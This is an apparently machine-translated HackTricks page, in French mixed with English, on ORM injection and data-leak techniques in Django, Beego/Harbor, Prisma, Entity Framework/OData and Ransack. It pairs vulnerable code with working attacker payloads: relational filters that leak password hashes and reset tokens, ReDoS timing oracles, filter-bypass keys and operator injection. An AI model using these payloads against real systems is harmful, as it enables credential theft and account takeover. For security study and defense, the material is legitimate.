ORM Injection
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Django ORM (Python)
In this post is explained how it’s possible to make a Django ORM vulnerable by using for example a code like:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Remarquez que l’intégralité de request.data (qui sera un json) est directement passée à filter objects from the database. Un attaquant pourrait envoyer des filtres inattendus afin de leak davantage de données que prévu.
Exemples:
- Login: Dans un simple login, essayez de leak les mots de passe des utilisateurs enregistrés dedans.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Il est possible de brute-force le mot de passe jusqu’à ce qu’il soit leaked.
- Relational filtering: Il est possible de parcourir les relations afin de leak des informations provenant de colonnes qui n’étaient même pas censées être utilisées dans l’opération. Par exemple, si il est possible de leak des articles créés par un utilisateur avec ces relations: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Il est possible de trouver le password de tous les utilisateurs qui ont créé un article
- Many-to-many relational filtering: Dans l’exemple précédent, nous n’avons pas pu trouver les passwords des utilisateurs qui n’ont pas créé d’article. Cependant, en suivant d’autres relations, cela est possible. Par exemple: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
Dans ce cas nous pouvons trouver tous les utilisateurs dans les départements d’utilisateurs qui ont créé des articles et puis leak leurs mots de passe (dans le json précédent nous ne faisons que leaking les noms d’utilisateur mais ensuite il est possible de leak les mots de passe).
- Abuser des relations many-to-many entre Django Group et Permission avec les utilisateurs : De plus, le modèle AbstractUser est utilisé pour générer des utilisateurs dans Django et par défaut ce modèle a des relations many-to-many avec les tables Permission et Group. Ce qui est essentiellement une façon par défaut d’accéder à d’autres utilisateurs depuis un utilisateur s’ils sont dans le même groupe ou partagent la même permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Contourner les restrictions de filtre: Le même billet de blog proposait de contourner l’utilisation de certains filtres comme
articles = Article.objects.filter(is_secret=False, **request.data). Il est possible de dump des articles qui ont is_secret=True parce que l’on peut revenir en boucle depuis une relation vers la table Article et leak des articles secrets à partir d’articles non secrets, car les résultats sont joinés et le champ is_secret est vérifié dans l’article non secret tandis que les données sont leaked depuis l’article secret.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
En abusant des relations, il est possible de contourner même les filtres destinés à protéger les données affichées.
- Error/Time based via ReDoS: Dans les exemples précédents, on s’attendait à avoir des réponses différentes selon que le filtrage fonctionnait ou non, pour utiliser cela comme oracle. Mais il se peut qu’une action soit effectuée dans la base de données et que la réponse soit toujours la même. Dans ce scénario, il pourrait être possible de provoquer une erreur de la base de données pour obtenir un nouvel oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Du même post concernant ce vecteur :
- SQLite : Ne possède pas d’opérateur regexp par défaut (nécessite le chargement d’une extension tierce)
- PostgreSQL : N’a pas de regex timeout par défaut et est moins sujet au backtracking
- MariaDB : N’a pas de regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego reflète le DSL de Django field__operator, donc tout handler qui permet aux utilisateurs de contrôler le premier argument de QuerySeter.Filter() expose l’intégralité du graphe des relations :
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Des requêtes telles que /search?filter=created_by__user__password__icontains=pbkdf peuvent pivoter à travers les clés étrangères exactement comme les primitives Django ci‑dessus. L’helper q de Harbor parseait l’entrée utilisateur en Beego filters, donc des utilisateurs peu privilégiés pouvaient sonder les secrets en observant les réponses de liste :
GET /api/v2.0/users?q=password=~$argon2id$→ révèle si un hash contient$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Compter les lignes renvoyées, observer les métadonnées de pagination, ou comparer les longueurs des réponses fournit un oracle permettant de brute-force des hashes entiers, des salts, et des TOTP seeds.
Contourner les correctifs de Harbor avec parseExprs
Harbor a tenté de protéger les champs sensibles en les marquant avec filter:"false" et en validant seulement le premier segment de l’expression :
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs parcourt chaque segment délimité par __ et, lorsque le segment courant n’est pas une relation, il écrase simplement le champ cible avec le segment suivant. Payloads tels que email__password__startswith=foo passent donc le contrôle Filterable(email)=true de Harbor mais s’exécutent comme password__startswith=foo, contournant les deny-lists.
v2.13.1 limitait les clés à un seul séparateur, mais le fuzzy-match builder de Harbor ajoute les opérateurs après validation : q=email__password=~abc → Filter("email__password__icontains", "abc"). L’ORM interprète encore cela comme password__icontains. Les applications Beego qui n’inspectent que le premier composant __ ou qui ajoutent des opérateurs plus tard dans le pipeline de requête restent vulnérables à la même primitive d’écrasement et peuvent toujours être abusées comme oracles aveugles de leak.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
It’s possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
L’exemple suivant sélectionne tous les posts créés par quelqu’un ayant un mot de passe et renverra le mot de passe :
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Contrôle total de la clause where:
Regardons ceci où l’attaquant peut contrôler la clause where :
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Il est possible de filtrer directement le mot de passe des utilisateurs comme :
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
En utilisant des opérations comme
startsWith, il est possible de leak des informations.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Il est possible de leak des articles non publiés en remontant les relations many-to-many entre Category -[..]-> Article :
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Il est aussi possible de leak tous les utilisateurs en abusant de certaines relations many-to-many en boucle :
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Dans le post original, vous pouvez lire un ensemble très complet de tests effectués afin de trouver le payload optimal pour leak des informations avec un time based payload. Voici :
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Où la {CONTAINS_LIST} est une liste de 1000 chaînes pour s’assurer que la réponse est retardée lorsque la leak correcte est trouvée.
Confusion de type sur les filtres where (operator injection)
L’API de requête de Prisma accepte soit des valeurs primitives soit des objets opérateurs. Lorsque les handlers supposent que le corps de la requête contient des chaînes simples mais les passent directement à where, les attaquants peuvent faufiler des opérateurs dans les flux d’authentification et contourner les vérifications de token.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Vecteurs de coercition courants :
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ correspond à chaque utilisateur dont le token n’est pasE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassdevient le même objet. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks des correspondances de sous-chaîne. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}if cookies are forwarded to Prisma.
Parce que Prisma happily evaluates { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., tout test d’égalité sur des secrets (reset tokens, API keys, magic links) peut être élargi en un prédicat qui réussit sans connaître le secret. Combinez cela avec des filtres relationnels (createdBy) pour choisir une victime.
Cherchez des flux où :
- Les schémas de requête ne sont pas appliqués, donc les objets imbriqués survivent à la désérialisation.
- Les parseurs étendus pour body/query restent activés et acceptent la syntaxe entre crochets.
- Les handlers transmettent le JSON utilisateur directement à Prisma au lieu de mapper vers des champs/opérateurs sur liste blanche.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableLes helpers qui énumèrent chaque propriété de type string et les enveloppent dans .Contains(term) exposent effectivement les passwords, API tokens, salts et TOTP secrets à tout utilisateur pouvant appeler l’endpoint. Directus CVE-2025-64748 est un exemple réel où le endpoint de recherche directus_users incluait token et tfa_secret dans ses prédicats LIKE générés, transformant le nombre de résultats en un leak oracle.
Oracles de comparaison OData
Les contrôleurs ASP.NET OData retournent souvent IQueryable<T> et autorisent $filter, même lorsque des fonctions comme contains sont désactivées. Tant que l’EDM expose la propriété, les attaquants peuvent toujours effectuer des comparaisons dessus :
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
La simple présence ou absence de résultats (ou des métadonnées de pagination) permet d’effectuer une recherche binaire caractère par caractère selon la collation de la base de données. Les propriétés de navigation (CreatedBy/Token, CreatedBy/User/Password) permettent des pivots relationnels similaires à Django/Beego, donc tout EDM qui expose des champs sensibles ou qui omet des deny-lists par propriété est une cible facile.
Les bibliothèques et middlewares qui traduisent des chaînes utilisateur en opérateurs ORM (e.g., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) doivent être traités comme des sinks à haut risque sauf si elles implémentent des allow-lists strictes de champs/opérateurs.
Ransack (Ruby)
These tricks where found in this post.
Tip
Notez que Ransack 4.0.0.0 exige désormais l’utilisation d’une allow-list explicite pour les attributs et associations recherchables.
Exemple vulnérable :
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Remarquez comment la requête sera définie par les paramètres envoyés par l’attaquant. Il était par exemple possible de brute-force le reset token avec :
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
En combinant brute-forcing et éventuellement l’exploitation des relations, il était possible de leak davantage de données depuis une base de données.
Stratégies de leak adaptées à la collation
Les comparaisons de chaînes héritent de la collation de la base de données, donc les oracles de leak doivent être conçus en fonction de la façon dont le backend ordonne les caractères :
- Les collations par défaut de MariaDB/MySQL/SQLite/MSSQL sont souvent insensibles à la casse, donc
LIKE/=ne peuvent pas distingueradeA. Utilisez des opérateurs sensibles à la casse (regex/GLOB/BINARY) quand la casse du secret importe. - Prisma et Entity Framework reproduisent l’ordre de la base de données. Des collations comme MSSQL’s
SQL_Latin1_General_CP1_CI_ASplacent la ponctuation avant les chiffres et les lettres, donc les sondes de recherche binaire doivent suivre cet ordre plutôt que l’ordre brut des octets ASCII. - SQLite’s
LIKEest insensible à la casse sauf si une collation personnalisée est enregistrée, donc les leaks Django/Beego peuvent nécessiter des prédicats__regexpour récupérer des tokens sensibles à la casse.
Calibrer les payloads sur la collation réelle évite des sondes inutiles et accélère significativement les attaques automatisées par recherche de sous-chaîne/recherche binaire.
Références
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

